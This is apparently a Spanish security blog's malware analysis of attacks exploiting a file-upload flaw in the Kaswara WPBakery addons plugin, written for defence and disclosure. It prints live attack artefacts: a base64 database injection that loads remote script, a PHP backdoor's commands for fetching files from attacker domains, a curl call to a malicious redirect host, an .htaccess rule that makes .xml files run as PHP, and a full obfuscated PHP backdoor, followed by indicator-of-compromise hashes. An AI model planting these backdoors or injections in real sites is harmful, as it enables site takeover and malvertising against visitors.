Vulnerable Kaswara Modern WPBakery Page Builder Addons Plugin siendo explotado en la naturaleza

Publicado: 2021-06-08

El 20 de abril de 2021, nuestros amigos de WPScan informaron una vulnerabilidad grave en Kaswara Modern VC Addons, también conocidos como Kaswara Modern WPBakery Page Builder Addons. Ya no está disponible en Codecanyon/Envato, lo que significa que si tiene esto en ejecución, debe elegir una alternativa.

Esta vulnerabilidad permite a los usuarios no autenticados cargar archivos arbitrarios en el directorio de iconos del complemento (./wp-content/uploads/kaswara/icons). Este es el primer indicador de compromiso (IOC) que nuestros amigos de WPScan compartieron con nosotros en su informe.

La capacidad de cargar archivos arbitrarios en un sitio web le da al malhechor un control total sobre el sitio, lo que dificulta definir la carga útil final de esta infección; por lo tanto, le mostraremos todo lo que encontramos hasta ahora (nos dejamos llevar un poco por la investigación, así que siéntase libre de saltar a la sección del COI si no quiere leer).

Inyección de base de datos, aplicaciones falsas de Android y otras puertas traseras

Gracias a nuestro amigo Denis Sinegubko de Sucuri por señalar el seguimiento de inyección de base de datos utilizado con este ataque.

Los malos actores actualizarían la opción 'kaswara-customJS' para agregar un fragmento malicioso arbitrario de código Javascript. Aquí hay un ejemplo que encontramos:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Esta cadena codificada en base64 se traduce en:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Y como suele suceder con este tipo de secuencia de comandos, cargará en cadena una serie de otros fragmentos de código Javascript, y la carga útil final será una publicidad maliciosa o un kit de explotación. Esto es muy similar a lo que informó Wordfence aquí.

En este caso, el script muere en hxxp://double-clickd[.]com/ y no carga ningún contenido incorrecto. Encontré Javascript sospechoso llamando a este sitio desde principios de 2020 y la gente ya lo ha estado bloqueando desde 2018.

Aplicaciones falsas cargadas en el sitio

Las 40 aplicaciones de Android encontradas en los sitios web que examinamos eran versiones falsas de diferentes aplicaciones, como AliPay, PayPal, Correos, DHL y muchas otras, que afortunadamente estaban siendo detectadas por los proveedores de antivirus más populares según este análisis de VirusTotal.

Resultados de VirusTotal en uno de los archivos APK encontrados en un sitio comprometido

No verifiqué las intenciones de la aplicación, pero una revisión rápida de los permisos que solicita puede darnos una idea de lo que podría hacer:

  • android.permiso.WRITE_SMS
  • android.permiso.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permiso.LEER_CONTACTOS
  • android.permiso.READ_PHONE_STATE
  • android.permiso.READ_SMS
  • android.permiso.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permiso.REQUEST_IGNORE_BATTERY_OPTIMIZACIONES
  • android.permiso.INTERNET
  • android.permiso.SEND_SMS
  • android.permiso.CALL_PHONE
  • android.permiso.WAKE_LOCK
  • android.permiso.REQUEST_DELETE_PACKAGES

Sin embargo, esos archivos no se cargan de inmediato utilizando el exploit Kaswara. Después de que el sitio se ve comprometido, los atacantes cargarán otras herramientas primero para controlar completamente el sitio.

Archivos subidos

También se encontraron algunas puertas traseras y otro malware en sitios web comprometidos por esta vulnerabilidad. Compartiré un análisis rápido de los más populares e interesantes en esta publicación. Sin embargo, quiero centrarme primero en el más complejo.

Redirigir y aplicaciones falsas

Las aplicaciones falsas que encontré en varios sitios comprometidos no se cargaron al explotar la vulnerabilidad de Kaswara. Se cargan en el sitio mediante una herramienta de piratería multifunción, que permite al atacante cargar algún código remoto (al proporcionar una URL o una cadena) y redirigir al usuario a un sitio malicioso.

El archivo se puede identificar fácilmente por la presencia de esta cadena: base64_decode('MTIz');error_reporting(0); función

Curiosamente, aleatoriza todo lo demás menos esto.

El malware está en una sola línea, lo que también es un IOC interesante si está buscando este tipo de anomalía en el código.

malware c.php con codificación completa

Para que sea más fácil de entender, decodifiqué la mayor parte del código, renombré las funciones interesantes y embellecí el código. El malware incluye 6 funciones diferentes, y 5 de ellas se basan en los valores pasados ​​en la $_GET['ts'] . Para este documento, consideremos una de las muchas instancias que encontré: c.php .

/c.php?ts=kt

Esto no hace nada y obligará al sitio a devolver un error 500 (más adelante en el código).

/c.php?ts=1

Cambia el valor del indicador $q1a a verdadero para realizar una validación de código y enviar un mensaje de OK al atacante.

En este caso, el sitio remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Código”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Escribe un archivo en el servidor con el código proporcionado por el contenido de $_GET["v"] siempre que $_GET["p"] sea la suma de comprobación SHA1 de 123 (¿recuerda el primer IOC de base64_decode('MTIz') ? esto es esa suma de comprobación).

/c.php?ts=tt

Escribe 5 MB de "-" en el servidor, probablemente usado para probar si la función de carga funcionará en el servidor.

/c.php?ts=dwm&h=HASH1,HASH2

Cuando el malware recibe esta solicitud, realiza una prueba para verificar si los archivos cargados se escribieron correctamente en el servidor. Sus hashes MD5 deben conocerse y se envían a $_GET['h'] como valores separados por comas.

/c.php?ts=dw&h=hash&l=URL_como_CSV

Descarga un archivo de una serie de sitios web de terceros y lo guarda en el servidor nombrándolo según los últimos 12 caracteres del md5 del archivo descargado.

Esta es la función que se utiliza para cargar aplicaciones falsas en el servidor.

Aquí hay un ejemplo de la solicitud para descargar archivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirección de acceso

Si se seleccionó la opción kt o ninguna opción, el código procede a la redirección, que se logra solicitando un blob JSON con los datos necesarios. Luego procede a redirigir al visitante utilizando la función de encabezado.

La respuesta es así: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

La función para ejecutar una solicitud cURL con los parámetros necesarios es esta: Nada especial...

Y se puede traducir a esta solicitud cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

La URL final es, hasta donde pude probar, aleatoria, pero comparte la misma característica de ser una página falsa para un servicio o aplicación popular.

wp-content/uploads/kaswara/icons/16/javas.xml y wp-content/uploads/kaswara/icons/16/.htaccess

Un archivo XML generalmente no se marca como una amenaza potencial, pero en este caso, tenemos un archivo .htaccess especialmente diseñado que cambia la forma en que el servidor web lo ve:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

De hecho, le dice a Apache que entienda cualquier archivo javas, home o menús con xml, php o pdf como un archivo PHP para ser procesado y ejecutado en consecuencia. Por lo tanto, cualquiera de esos archivos presentes en la misma estructura de directorios que este .htaccess será sospechoso.

El archivo javas.xml es el mismo que otros archivos maliciosos cargados en el sitio. Descubrí que la diferencia es que algunos tienen una o dos líneas en blanco al final del archivo, lo que hace que el hashing tradicional sea un poco más complicado.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

El código malicioso se ofusca utilizando cadenas codificadas str_rot13 y base64. También utiliza valores hexadecimales y operaciones matemáticas para ocultar un poco más las cadenas. Se desconoce la carga útil final, ya que creará una función basada en los valores de una solicitud POST. Sin embargo, la carga útil parece ser la misma cada vez, ya que se basa en una verificación md5 antes de crearla (c42ea979ed982c02632430e9e98a66d6 es el hash md5).

Conclusión

Dado que esta es una campaña activa, al momento de escribir esta publicación, encontramos más y más ejemplos de malware diferentes que se lanzan en los sitios afectados. Algunas son solo variaciones de lo que tenemos aquí, mientras que otras son lo suficientemente interesantes para un análisis más profundo. Busque algunas publicaciones más pequeñas próximamente para explorar algunos de estos otros ejemplos.

Esto ilustra la importancia de tener sus extensiones actualizadas con las últimas correcciones de seguridad; si los desarrolladores no publican las correcciones de manera oportuna o se eliminan del repositorio de WordPress.org (u otros mercados), le recomendamos encarecidamente que busque una alternativa más segura.

Si le preocupa el malware y la vulnerabilidad de su sitio, consulte las funciones de seguridad de Jetpack. Jetpack Security proporciona seguridad completa y fácil de usar para el sitio de WordPress, que incluye copias de seguridad, escaneo de malware y protección contra correo no deseado.

Indicadores de compromiso

Aquí encontrará la lista completa de todos los IOC que identificamos:

Hachís (SHA-1) Sendero Descripción de la amenaza
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Aplicación de Android falsa
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Aplicación de Android falsa
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Aplicación de Android falsa
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Aplicación de Android falsa
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Aplicación de Android falsa
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Aplicación de Android falsa
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Aplicación de Android falsa
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Aplicación de Android falsa
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Aplicación de Android falsa
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Aplicación de Android falsa
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Aplicación de Android falsa
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Aplicación de Android falsa
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Aplicación de Android falsa
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Aplicación de Android falsa
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Aplicación de Android falsa
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Aplicación de Android falsa
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Aplicación de Android falsa
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Aplicación de Android falsa
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Aplicación de Android falsa
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Aplicación de Android falsa
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Aplicación de Android falsa
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Aplicación de Android falsa
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Aplicación de Android falsa
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Aplicación de Android falsa
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Aplicación de Android falsa
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Aplicación de Android falsa
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Aplicación de Android falsa
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Aplicación de Android falsa
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Aplicación de Android falsa
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Aplicación de Android falsa
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Aplicación de Android falsa
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Aplicación de Android falsa
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Aplicación de Android falsa
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Aplicación de Android falsa
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Aplicación de Android falsa
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Aplicación de Android falsa
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Aplicación de Android falsa
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Aplicación de Android falsa
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Aplicación de Android falsa
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Aplicación de Android falsa
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Malware descartado
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Malware descartado
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Cargador de archivos PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Malware descartado
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware de ejecución remota de código
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Malware descartado
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Malware descartado
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Malware descartado
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Malware descartado
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Malware descartado
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Malware descartado
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/adindex.php Malware descartado
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Malware descartado
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./iconos/iconos.php Malware de ejecución remota de código
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Malware descartado
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php o ./wp-content/uploads/xeh02b.php Malware descartado
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Malware descartado
1926459cbe6f3fae524d5c1aa966a023b9def873 ./iconos/iconos.php Malware de ejecución remota de código
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Malware descartado
wp-content/uploads/kaswara/icons/16/javas.xml Malware de ejecución remota de código
smurfetta.ru Dominio malicioso
http://papass.ru Dominio malicioso